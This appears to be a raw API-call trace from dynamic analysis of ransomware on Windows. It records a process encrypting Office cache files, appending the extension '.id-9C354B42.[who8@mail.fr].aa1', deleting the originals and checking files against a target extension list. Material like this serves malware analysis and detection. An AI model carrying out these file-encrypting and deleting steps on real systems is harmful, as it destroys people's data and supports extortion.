CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0197.797] GetLastError () returned 0x0 [0197.797] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0198.640] WriteFile (in: hFile=0x184, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0198.722] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.723] WriteFile (in: hFile=0x184, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0198.723] SetEndOfFile (hFile=0x184) returned 1 [0198.723] CloseHandle (hObject=0x184) returned 1 [0198.724] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.724] SetEndOfFile (hFile=0x180) returned 1 [0199.141] CloseHandle (hObject=0x180) returned 1 [0199.141] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.142] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0199.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.143] lstrlenW (lpString=".doc") returned 4 [0199.143] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.143] lstrlenW (lpString=".docx") returned 5 [0199.143] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0199.143] lstrlenW (lpString=".pdf") returned 4 [0199.143] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.143] lstrlenW (lpString=".xls") returned 4 [0199.143] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.143] lstrlenW (lpString=".xlsx") returned 5 [0199.143] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0199.143] lstrlenW (lpString=".ppt") returned 4 [0199.143] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.143] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.143] lstrlenW (lpString=".zip") returned 4 [0199.143] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.143] lstrlenW (lpString=".rar") returned 4 [0199.143] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString=".bz2") returned 4 [0199.144] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString=".7z") returned 3 [0199.144] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.144] lstrlenW (lpString=".dbf") returned 4 [0199.144] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.144] lstrlenW (lpString=".1cd") returned 4 [0199.144] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.144] lstrlenW (lpString=".jpg") returned 4 [0199.144] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.144] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.144] lstrlenW (lpString=".doc") returned 4 [0199.144] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString=".docx") returned 5 [0199.144] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0199.144] lstrlenW (lpString=".pdf") returned 4 [0199.144] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.144] lstrlenW (lpString=".xls") returned 4 [0199.144] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString=".xlsx") returned 5 [0199.145] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0199.145] lstrlenW (lpString=".ppt") returned 4 [0199.145] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.145] lstrlenW (lpString=".zip") returned 4 [0199.145] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.145] lstrlenW (lpString=".rar") returned 4 [0199.145] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString=".bz2") returned 4 [0199.145] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString=".7z") returned 3 [0199.145] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.145] lstrlenW (lpString=".dbf") returned 4 [0199.145] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.145] lstrlenW (lpString=".1cd") returned 4 [0199.145] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0199.145] lstrlenW (lpString=".jpg") returned 4 [0199.145] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.146] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0199.146] lstrlenW (lpString="Proof.xml") returned 9 [0199.146] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0199.347] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1347) returned 1 [0199.347] CloseHandle (hObject=0x180) returned 1 [0199.347] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0199.347] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.347] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0199.347] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.347] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.347] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0199.348] GetLastError () returned 0x0 [0199.348] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x543, lpOverlapped=0x0) returned 1 [0199.504] WriteFile (in: hFile=0x15c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0199.709] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0199.709] WriteFile (in: hFile=0x15c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0199.709] SetEndOfFile (hFile=0x15c) returned 1 [0199.710] CloseHandle (hObject=0x15c) returned 1 [0199.710] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0199.710] SetEndOfFile (hFile=0x180) returned 1 [0200.658] CloseHandle (hObject=0x180) returned 1 [0200.658] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.658] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0200.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.658] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.658] lstrlenW (lpString=".doc") returned 4 [0200.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString=".docx") returned 5 [0200.659] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0200.659] lstrlenW (lpString=".pdf") returned 4 [0200.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString=".xls") returned 4 [0200.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString=".xlsx") returned 5 [0200.659] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0200.659] lstrlenW (lpString=".ppt") returned 4 [0200.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.659] lstrlenW (lpString=".zip") returned 4 [0200.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.659] lstrlenW (lpString=".rar") returned 4 [0200.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString=".bz2") returned 4 [0200.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.659] lstrlenW (lpString=".7z") returned 3 [0200.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.660] lstrlenW (lpString=".dbf") returned 4 [0200.660] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.660] lstrlenW (lpString=".1cd") returned 4 [0200.660] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.660] lstrlenW (lpString=".jpg") returned 4 [0200.660] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.660] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.660] lstrlenW (lpString=".doc") returned 4 [0200.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.660] lstrlenW (lpString=".docx") returned 5 [0200.660] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0200.660] lstrlenW (lpString=".pdf") returned 4 [0200.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.660] lstrlenW (lpString=".xls") returned 4 [0200.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString=".xlsx") returned 5 [0200.661] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0200.661] lstrlenW (lpString=".ppt") returned 4 [0200.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.661] lstrlenW (lpString=".zip") returned 4 [0200.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.661] lstrlenW (lpString=".rar") returned 4 [0200.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString=".bz2") returned 4 [0200.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString=".7z") returned 3 [0200.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.661] lstrlenW (lpString=".dbf") returned 4 [0200.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.661] lstrlenW (lpString=".1cd") returned 4 [0200.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.661] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0200.662] lstrlenW (lpString=".jpg") returned 4 [0200.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.662] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.662] lstrlenW (lpString="VisioMUI.xml") returned 12 [0200.662] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.834] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9503) returned 1 [0200.834] CloseHandle (hObject=0x1a4) returned 1 [0200.834] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0200.834] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.834] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.835] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.835] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.835] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0200.835] GetLastError () returned 0x0 [0200.835] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x251f, lpOverlapped=0x0) returned 1 [0200.836] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0200.837] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0200.837] WriteFile (in: hFile=0x1a0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0200.837] SetEndOfFile (hFile=0x1a0) returned 1 [0200.838] CloseHandle (hObject=0x1a0) returned 1 [0200.839] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0200.839] SetEndOfFile (hFile=0x1a4) returned 1 [0200.841] CloseHandle (hObject=0x1a4) returned 1 [0200.841] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.841] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0200.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.841] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.841] lstrlenW (lpString=".doc") returned 4 [0200.841] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.841] lstrlenW (lpString=".docx") returned 5 [0200.841] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.841] lstrlenW (lpString=".pdf") returned 4 [0200.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString=".xls") returned 4 [0200.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString=".xlsx") returned 5 [0200.842] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.842] lstrlenW (lpString=".ppt") returned 4 [0200.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.842] lstrlenW (lpString=".zip") returned 4 [0200.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.842] lstrlenW (lpString=".rar") returned 4 [0200.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString=".bz2") returned 4 [0200.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString=".7z") returned 3 [0200.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.842] lstrlenW (lpString=".dbf") returned 4 [0200.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.842] lstrlenW (lpString=".1cd") returned 4 [0200.842] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.842] lstrlenW (lpString=".jpg") returned 4 [0200.842] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString=".doc") returned 4 [0200.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString=".docx") returned 5 [0200.843] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.843] lstrlenW (lpString=".pdf") returned 4 [0200.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString=".xls") returned 4 [0200.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString=".xlsx") returned 5 [0200.843] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.843] lstrlenW (lpString=".ppt") returned 4 [0200.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString=".zip") returned 4 [0200.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.843] lstrlenW (lpString=".rar") returned 4 [0200.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString=".bz2") returned 4 [0200.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString=".7z") returned 3 [0200.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString=".dbf") returned 4 [0200.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString=".1cd") returned 4 [0200.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0200.843] lstrlenW (lpString=".jpg") returned 4 [0200.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.844] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.844] lstrlenW (lpString="Setup.xml") returned 9 [0200.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0200.845] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1452) returned 1 [0200.845] CloseHandle (hObject=0x1a4) returned 1 [0200.845] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.845] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, 